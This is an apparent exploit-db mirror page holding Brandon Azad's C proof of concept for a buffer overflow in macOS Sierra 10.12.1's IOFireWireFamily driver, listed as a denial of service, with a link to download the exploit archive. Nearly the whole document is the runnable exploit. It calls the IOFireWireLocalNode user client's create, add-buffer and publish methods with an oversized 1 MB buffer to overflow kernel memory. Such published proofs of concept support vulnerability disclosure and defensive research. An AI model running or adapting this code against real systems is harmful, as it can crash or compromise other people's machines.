Apple macOS Sierra 10.12.1 – ‘IOFireWireFamily’ FireWire Port Denial of Service

  • 作者: Brandon Azad
    日期: 2017-08-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44235/
  • /*
     * IOFireWireFamily-overflow.c
     * Brandon Azad
     *
     * Buffer overflow reachable from IOFireWireUserClient::localConfigDirectory_Publish.
     *
     * Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44235.zip
    */
    
    #include <IOKit/IOKitLib.h>
    #include <stdlib.h>
    #include <string.h>
    
    int main() {
    	int ret = 0;
    	io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
    			IOServiceMatching("IOFireWireLocalNode"));
    	if (service == IO_OBJECT_NULL) {
    		ret = 1;
    		goto fail1;
    	}
    	io_connect_t connect;
    	kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
    	IOObjectRelease(service);
    	if (kr != KERN_SUCCESS) {
    		ret = 2;
    		goto fail1;
    	}
    	// localConfigDirectory_Create
    	uint64_t directory = 0;
    	uint32_t output_count = 1;
    	kr = IOConnectCallMethod(connect, 16,
    			NULL, 0, NULL, 0,
    			&directory, &output_count, NULL, NULL);
    	if (kr != KERN_SUCCESS) {
    		ret = 3;
    		goto fail2;
    	}
    	// localConfigDirectory_addEntry_Buffer
    	uint32_t size = 0x100000;
    	void *buffer = malloc(size);
    	memset(buffer, 0xaa, size);
    	uint64_t addEntry_Buffer_args[6] = { directory, 0, (uint64_t)buffer, size, 0, 0 };
    	kr = IOConnectCallMethod(connect, 17,
    			addEntry_Buffer_args,
    			sizeof(addEntry_Buffer_args) / sizeof(*addEntry_Buffer_args),
    			NULL, 0,
    			NULL, NULL, NULL, NULL);
    	free(buffer);
    	if (kr != KERN_SUCCESS) {
    		ret = 4;
    		goto fail2;
    	}
    	// localConfigDirectory_Publish
    	kr = IOConnectCallMethod(connect, 21,
    			&directory, 1, NULL, 0,
    			NULL, NULL, NULL, NULL);
    	if (kr != KERN_SUCCESS) {
    		ret = 5;
    		goto fail2;
    	}
    fail2:
    	IOServiceClose(connect);
    fail1:
    	return ret;
    }